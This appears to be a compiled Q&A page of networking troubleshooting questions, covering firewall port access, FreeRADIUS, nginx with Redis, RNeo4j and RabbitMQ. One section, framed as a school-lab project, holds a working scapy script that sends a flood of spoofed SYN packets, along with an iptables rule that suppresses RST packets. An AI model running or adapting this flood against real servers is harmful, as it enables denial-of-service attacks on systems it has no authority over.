I have a server that has internal IP:
172.18.4.325
and external IP:
198.115.74.325
I can access:
172.18.4.325:8081/jasperserver/services/repository
from within server,
but how do I access it from the outside?
I added inbound and outbound rules for port TCP 8081, but nothing.
What am I missing?
Active TCP connections:
D:\lib>netstat -a
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:135 Firestorm:0 LISTENING
TCP 0.0.0.0:443 Firestorm:0 LISTENING
TCP 0.0.0.0:445 Firestorm:0 LISTENING
TCP 0.0.0.0:1433 Firestorm:0 LISTENING
TCP 0.0.0.0:3306 Firestorm:0 LISTENING
TCP 0.0.0.0:3389 Firestorm:0 LISTENING
TCP 0.0.0.0:5357 Firestorm:0 LISTENING
TCP 0.0.0.0:8009 Firestorm:0 LISTENING
TCP 0.0.0.0:8080 Firestorm:0 LISTENING
TCP 0.0.0.0:8081 Firestorm:0 LISTENING
TCP 0.0.0.0:8109 Firestorm:0 LISTENING
TCP 0.0.0.0:10990 Firestorm:0 LISTENING
TCP 0.0.0.0:47001 Firestorm:0 LISTENING
TCP 0.0.0.0:49152 Firestorm:0 LISTENING
TCP 0.0.0.0:49153 Firestorm:0 LISTENING
TCP 0.0.0.0:49154 Firestorm:0 LISTENING
TCP 0.0.0.0:49155 Firestorm:0 LISTENING
TCP 0.0.0.0:49158 Firestorm:0 LISTENING
TCP 0.0.0.0:49163 Firestorm:0 LISTENING
TCP 0.0.0.0:50231 Firestorm:0 LISTENING
TCP 127.0.0.1:1433 Firestorm:50240 ESTABLISHED
TCP 127.0.0.1:1433 Firestorm:50241 ESTABLISHED
TCP 127.0.0.1:1433 Firestorm:50242 ESTABLISHED
TCP 127.0.0.1:1433 Firestorm:50243 ESTABLISHED
TCP 127.0.0.1:1433 Firestorm:50244 ESTABLISHED
TCP 127.0.0.1:1433 Firestorm:50245 ESTABLISHED
TCP 127.0.0.1:1434 Firestorm:0 LISTENING
TCP 127.0.0.1:3306 Firestorm:50221 ESTABLISHED
TCP 127.0.0.1:3306 Firestorm:50237 ESTABLISHED
TCP 127.0.0.1:3306 Firestorm:50238 ESTABLISHED
TCP 127.0.0.1:3306 Firestorm:50239 ESTABLISHED
TCP 127.0.0.1:8005 Firestorm:0 LISTENING
TCP 127.0.0.1:8009 Firestorm:50432 ESTABLISHED
TCP 127.0.0.1:8009 Firestorm:50460 ESTABLISHED
TCP 127.0.0.1:8009 Firestorm:50461 ESTABLISHED
TCP 127.0.0.1:8105 Firestorm:0 LISTENING
TCP 127.0.0.1:8109 Firestorm:50252 ESTABLISHED
TCP 127.0.0.1:8109 Firestorm:50257 ESTABLISHED
TCP 127.0.0.1:8109 Firestorm:50258 ESTABLISHED
TCP 127.0.0.1:8109 Firestorm:50259 ESTABLISHED
TCP 127.0.0.1:8109 Firestorm:50260 ESTABLISHED
TCP 127.0.0.1:8109 Firestorm:50261 ESTABLISHED
TCP 127.0.0.1:50221 Firestorm:3306 ESTABLISHED
TCP 127.0.0.1:50237 Firestorm:3306 ESTABLISHED
TCP 127.0.0.1:50238 Firestorm:3306 ESTABLISHED
TCP 127.0.0.1:50239 Firestorm:3306 ESTABLISHED
TCP 127.0.0.1:50240 Firestorm:ms-sql-s ESTABLISHED
TCP 127.0.0.1:50241 Firestorm:ms-sql-s ESTABLISHED
TCP 127.0.0.1:50242 Firestorm:ms-sql-s ESTABLISHED
TCP 127.0.0.1:50243 Firestorm:ms-sql-s ESTABLISHED
TCP 127.0.0.1:50244 Firestorm:ms-sql-s ESTABLISHED
TCP 127.0.0.1:50245 Firestorm:ms-sql-s ESTABLISHED
TCP 127.0.0.1:50252 Firestorm:8109 ESTABLISHED
TCP 127.0.0.1:50257 Firestorm:8109 ESTABLISHED
TCP 127.0.0.1:50258 Firestorm:8109 ESTABLISHED
TCP 127.0.0.1:50259 Firestorm:8109 ESTABLISHED
TCP 127.0.0.1:50260 Firestorm:8109 ESTABLISHED
TCP 127.0.0.1:50261 Firestorm:8109 ESTABLISHED
TCP 127.0.0.1:50432 Firestorm:8009 ESTABLISHED
TCP 127.0.0.1:50460 Firestorm:8009 ESTABLISHED
TCP 127.0.0.1:50461 Firestorm:8009 ESTABLISHED
TCP 172.18.4.325:139 Firestorm:0 LISTENING
TCP 172.18.4.325:1433 192.168.4.78:55377 ESTABLISHED
TCP 172.18.4.325:1433 192.168.4.78:55378 ESTABLISHED
TCP 172.18.4.325:1433 192.168.4.78:55379 ESTABLISHED
TCP 172.18.4.325:1433 192.168.4.78:56365 ESTABLISHED
TCP 172.18.4.325:1433 192.168.4.78:56366 ESTABLISHED
TCP 172.18.4.325:1433 192.168.4.78:56367 ESTABLISHED
TCP 172.18.4.325:3389 192.168.4.78:51196 ESTABLISHED
TCP 172.18.4.325:52756 198.135.8.228:1414 TIME_WAIT
TCP 172.18.4.325:52760 198.135.8.228:1414 TIME_WAIT
TCP 172.18.4.325:52767 Firestorm:50231 TIME_WAIT
TCP 172.18.4.325:52771 198.135.8.228:1414 TIME_WAIT
TCP 172.18.4.325:52775 198.135.8.228:1414 TIME_WAIT
TCP 172.18.4.325:52776 172.18.5.220:1415 SYN_SENT
TCP [::]:135 Firestorm:0 LISTENING
TCP [::]:443 Firestorm:0 LISTENING
TCP [::]:445 Firestorm:0 LISTENING
TCP [::]:1433 Firestorm:0 LISTENING
TCP [::]:3306 Firestorm:0 LISTENING
TCP [::]:3389 Firestorm:0 LISTENING
TCP [::]:5357 Firestorm:0 LISTENING
TCP [::]:10990 Firestorm:0 LISTENING
TCP [::]:47001 Firestorm:0 LISTENING
TCP [::]:49152 Firestorm:0 LISTENING
TCP [::]:49153 Firestorm:0 LISTENING
TCP [::]:49154 Firestorm:0 LISTENING
TCP [::]:49155 Firestorm:0 LISTENING
TCP [::]:49158 Firestorm:0 LISTENING
TCP [::]:49163 Firestorm:0 LISTENING
TCP [::]:50231 Firestorm:0 LISTENING
TCP [::1]:1434 Firestorm:0 LISTENING
You can try get to your server using port 443, that usually enabled on firewall:
198.115.74.325:443/jasperserver/services/repository
I think that firewall still blocks port 8081.
Related
I have server with available many subnets, I would like to my Freeradius only listen on specific IP addresses. I use freeradius configuration from Arch package freeradius-3.0.19-3. The only changes are:
removed IPv6 listen sections
in IPv4 listen section I configured listening address to ipaddr="192.168.1.1"
In my configuration I have also listening on 127.0.0.1:18120, but when I check open ports I got:
ss -nlp|grep radiusd
udp UNCONN 0 0 0.0.0.0:40012 0.0.0.0:* users:(("radiusd",pid=22199,fd=9))
udp UNCONN 0 0 127.0.0.1:18120 0.0.0.0:* users:(("radiusd",pid=22199,fd=7))
udp UNCONN 0 0 192.168.1.1:1812 0.0.0.0:* users:(("radiusd",pid=22199,fd=8))
This port 40012 is dynamic allocated after freeradius service restart the number is different.
ss -nlp|grep radiusd
udp UNCONN 0 0 0.0.0.0:42447 0.0.0.0:* users:(("radiusd",pid=26490,fd=9))
udp UNCONN 0 0 127.0.0.1:18120 0.0.0.0:* users:(("radiusd",pid=26490,fd=7))
udp UNCONN 0 0 192.168.1.1:1812 0.0.0.0:* users:(("radiusd",pid=26490,fd=8))
How to get rid of this port? What is a function of it?
This extra port is used for sending and receiving proxy packets. If you are not using proxying you can disable it in radiusd.conf, look for
proxy_requests = yes
$INCLUDE proxy.conf
change it to "no", and comment out the INCLUDE line.
If you want to change the address and/or port that is used, look at the listen sections in e.g. raddb/sites-enabled/default. You can add a new section with type = proxy to specifically set the address and port that is used.
For a school project I'm trying to do a DOS on an Ubuntu server (18.04) using Ubuntu desktop 18.04 with scapy. They are both placed as VM on VirtualBox.
On server side I have a python SimpleHTTPServer on port 80 that is pingable and reachable via browser by the desktop machine.
I'm trying to DoSing it using this code:
#!/usr/bin/env python
import socket, random, sys
from scapy.all import *
def sendSYN(target, port):
#creating packet
# insert IP header fields
tcp = TCP()
ip = IP()
#set source IP as random valid IP
ip.src = "%i.%i.%i.%i" % (random.randint(1,254), random.randint(1,254), random.randint(1,254), random.randint(1,254))
ip.dst = target
# insert TCP header fields
tcp = TCP()
#set source port as random valid port
tcp.sport = random.randint(1,65535)
tcp.dport = port
#set SYN flag
tcp.flags = 'S'
send(ip/tcp)
return ;
#control arguments
if len(sys.argv) != 3:
print("Few argument: %s miss IP or miss PORT" % sys.argv[0])
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
count = 0
print("Launch SYNFLOOD attack at %s:%i with SYN packets." % (target, port))
while 1:
#call SYNFlood attack
sendSYN(target,port)
count += 1
print("Total packets sent: %i" % count)
print("==========================================")
that basically sends an infinite number of SYN requests to the target machine on the user specified port. Its usage is: sudo python pythonDOS.py <target IP> <target port>.
Before launching this I do sudo iptables -A OUTPUT -p tcp -s <attacker IP> RST RST -j DROP on the attacking machine, to prevent the kernel to send RST request.
The attack seems to work: on wireshark on the attacker machine I can see that packets are sent correctly, but the server doesn't go down.
Running a netstat -antp | grep 80 on the target server I obtain this output:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.51:80 35.206.32.111:50544 SYN_RECV -
tcp 0 0 192.168.1.51:80 138.221.76.4:24171 SYN_RECV -
tcp 0 0 192.168.1.51:80 164.253.235.187:64186 SYN_RECV -
tcp 0 0 192.168.1.51:80 55.107.244.119:17977 SYN_RECV -
tcp 0 0 192.168.1.51:80 85.158.134.238:37513 SYN_RECV -
and if I rerun the command after few seconds:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.51:80 100.58.218.121:10306 SYN_RECV -
tcp 0 0 192.168.1.51:80 35.206.32.111:50544 SYN_RECV -
tcp 0 0 192.168.1.51:80 47.206.177.213:39759 SYN_RECV -
tcp 0 0 192.168.1.51:80 55.107.244.119:17977 SYN_RECV -
tcp 0 0 192.168.1.51:80 85.158.134.238:37513 SYN_RECV -
it seems that the server can handle a maximum of 5 SYN_RECV although I'm doing hundreds of these requests with the attacker machine, so I think this is why I can't DOS the server. The ufw is disabled. My objective is to disable or understand what's happening on the server and disable it in order to perform the DOS attack.
Any help is appreciated, thanks in advance.
UPDATE: I installed tshark on the target server and from that I can see that all the packets I'm sending are received on the server, so they are no lost in communication between the two virtual machines. Also running netstat -i I can see that there are no RX_DROP.
I have nginx upstream of redis servers (5 servers with 4 redis instances on every) like following:
upstream redis_cluster {
server 10.0.1.8:6379 fail_timeout=0;
server 10.0.1.8:6380 fail_timeout=0;
server 10.0.1.8:6381 fail_timeout=0;
server 10.0.1.8:6382 fail_timeout=0;
server 10.0.1.6:6379 fail_timeout=0;
server 10.0.1.6:6380 fail_timeout=0;
server 10.0.1.6:6381 fail_timeout=0;
server 10.0.1.6:6382 fail_timeout=0;
...
keepalive 16;
}
After adding the last one server (last 4 redis instances, actually), I've noticed strange connections rise to some of them:
9684 10.0.0.17:6379 TIME_WAIT
3 10.0.0.17:6380 ESTABLISHED
9677 10.0.0.17:6380 TIME_WAIT
9664 10.0.0.17:6381 TIME_WAIT
6 10.0.0.17:6382 ESTABLISHED
9660 10.0.0.17:6382 TIME_WAIT
4 10.0.1.3:6379 ESTABLISHED
1 10.0.1.3:6379 SYN_SENT
9671 10.0.1.3:6379 TIME_WAIT
3 10.0.1.3:6380 ESTABLISHED
9665 10.0.1.3:6380 TIME_WAIT
1 10.0.1.3:6381 ESTABLISHED
9661 10.0.1.3:6381 TIME_WAIT
5 10.0.1.3:6382 ESTABLISHED
9660 10.0.1.3:6382 TIME_WAIT
5 10.0.0.7:6379 ESTABLISHED
9653 10.0.0.7:6379 TIME_WAIT
4 10.0.0.7:6380 ESTABLISHED
9663 10.0.0.7:6380 TIME_WAIT
1 10.0.0.7:6381 ESTABLISHED
9664 10.0.0.7:6381 TIME_WAIT
7 10.0.0.7:6382 ESTABLISHED
9667 10.0.0.7:6382 TIME_WAIT
5 10.0.1.8:6379 ESTABLISHED
9673 10.0.1.8:6379 TIME_WAIT
2 10.0.1.8:6380 ESTABLISHED
9676 10.0.1.8:6380 TIME_WAIT
4 10.0.1.8:6381 ESTABLISHED
9665 10.0.1.8:6381 TIME_WAIT
3 10.0.1.8:6382 ESTABLISHED
While after commenting out a last one server (last 4 upstream entries) everything came to normal:
4 10.0.0.10:6379 ESTABLISHED
4 10.0.0.10:6380 ESTABLISHED
4 10.0.0.10:6381 ESTABLISHED
1 10.0.0.10:6381 TIME_WAIT
4 10.0.0.10:6382 ESTABLISHED
4 10.0.1.3:6379 ESTABLISHED
4 10.0.1.3:6380 ESTABLISHED
4 10.0.1.3:6381 ESTABLISHED
4 10.0.1.3:6382 ESTABLISHED
4 10.0.0.7:6379 ESTABLISHED
4 10.0.0.7:6380 ESTABLISHED
4 10.0.0.7:6381 ESTABLISHED
4 10.0.0.7:6382 ESTABLISHED
4 10.0.1.8:6379 ESTABLISHED
4 10.0.1.8:6380 ESTABLISHED
4 10.0.1.8:6381 ESTABLISHED
4 10.0.1.8:6382 ESTABLISHED
What could be the root cause of this? Thanks in advance, comrades.
How can I get RStudio to connect to Neo4j database?
Problem:
The following error is indicated when I attempt
to connect to neo4j database via RStudio using startGraph :
Error:
Server error: (503) Service Unavailable
#load library
library(RNeo4j)
#connect to graphdb
graph = startGraph("http://localhost:7474/db/data/")
(dbm authenthication is disabled [dbms.security.auth_enabled=false])
(Also tried with authentication enabled (by passing db username and password to startGraph), however the same error was indicated)
graph = startGraph("http://localhost:7474/db/data",
username="xxxx", password="xxxx")
Initial Setup Check:
Confirmed successful installation and operation of Neo4j.
1.Database is started and running successfully via neo4j (3.0.1) console
2.Confirmed able to connect successfully via Chrome Browser
3.Confirmed able to create graph and conduct queries via Chrome Browser interface.
Environment Info
proxy is configured on system
RNeo4j version 1.6.4
RStudio V. 0.99.892
R version 3.2.4 (2016-03-10)
Platform: x86_64-w64-mingw32/x64 (64-bit)
Running under: Windows 7 x64 (build 7601) Service Pack 1
Additional Details
I don't have any issues with proxy and RStudio creating and running Shiny Apps or installing any R packages on system.
I performed a netstat to check connections on localhost ports only applications connected are Neo4j and Web Browsers, not RStudio. (Is it normal to have so many connections open at one time?)
d:\Windows\System32\drivers\etc>netstat -a -o -n |grep :7474
TCP 127.0.0.1:7474 0.0.0.0:0 LISTENING 15528
TCP 127.0.0.1:7474 127.0.0.1:50884 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50885 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50886 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50888 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50889 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50898 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50899 TIME_WAIT 0
TCP 127.0.0.1:7474 127.0.0.1:50913 ESTABLISHED 15528
TCP 127.0.0.1:7474 127.0.0.1:50914 ESTABLISHED 15528
TCP 127.0.0.1:7474 127.0.0.1:50915 ESTABLISHED 15528
TCP 127.0.0.1:7474 127.0.0.1:50916 ESTABLISHED 15528
TCP 127.0.0.1:7474 127.0.0.1:50917 ESTABLISHED 15528
TCP 127.0.0.1:7474 127.0.0.1:50918 ESTABLISHED 15528
TCP 127.0.0.1:50887 127.0.0.1:7474 TIME_WAIT 0
TCP 127.0.0.1:50900 127.0.0.1:7474 TIME_WAIT 0
TCP 127.0.0.1:50901 127.0.0.1:7474 TIME_WAIT 0
TCP 127.0.0.1:50902 127.0.0.1:7474 TIME_WAIT 0
TCP 127.0.0.1:50913 127.0.0.1:7474 ESTABLISHED 12356
TCP 127.0.0.1:50914 127.0.0.1:7474 ESTABLISHED 12356
TCP 127.0.0.1:50915 127.0.0.1:7474 ESTABLISHED 12356
TCP 127.0.0.1:50916 127.0.0.1:7474 ESTABLISHED 12356
TCP 127.0.0.1:50917 127.0.0.1:7474 ESTABLISHED 12356
TCP 127.0.0.1:50918 127.0.0.1:7474 ESTABLISHED 12356
I was able to successfully execute startGraph by bypassing the proxy for localhost.
Steps
1.I first troubleshooted the issue using curl outside at a windows command prompt using the [noproxy] option to successful conclusion (verified this works correctly):
curl -v --noproxy localhost, http://localhost:7474/db/data/
2.Then at the RStudio console I set my httr configuration (since it is same underlying curl interface) to use [noproxy] option by doing the following:
rstudio_console>set_config(config(noproxy = "localhost")) #set noproxy option
rstudio_console>set_config(config(verbose())) #set verbose to view http messages
3.Then execute startGraph with no options:
rstudio_console>> graph = startGraph("http://localhost:7474/db/data")
4.Voila Success:
rstudio_console> graph
< Graph >
$version
[1] "3.0.1"
I can't for the life of me get it to bind to 127.0.0.1:43411 instead of 0.0.0.0:43411. Any ideas?
beam.smp 18538 rabbitmq 10u IPv4 5797637 0t0 TCP *:43411 (LISTEN)
Rabbitmq had a few ports open, Making RabbitMQ listen only to the loopback interface? helped me bind some of them to loopback but this last one is persistent.
I think this port is configured with:
[{kernel, [{inet_dist_use_interface, {127, 0, 0, 1}}]}].
in config file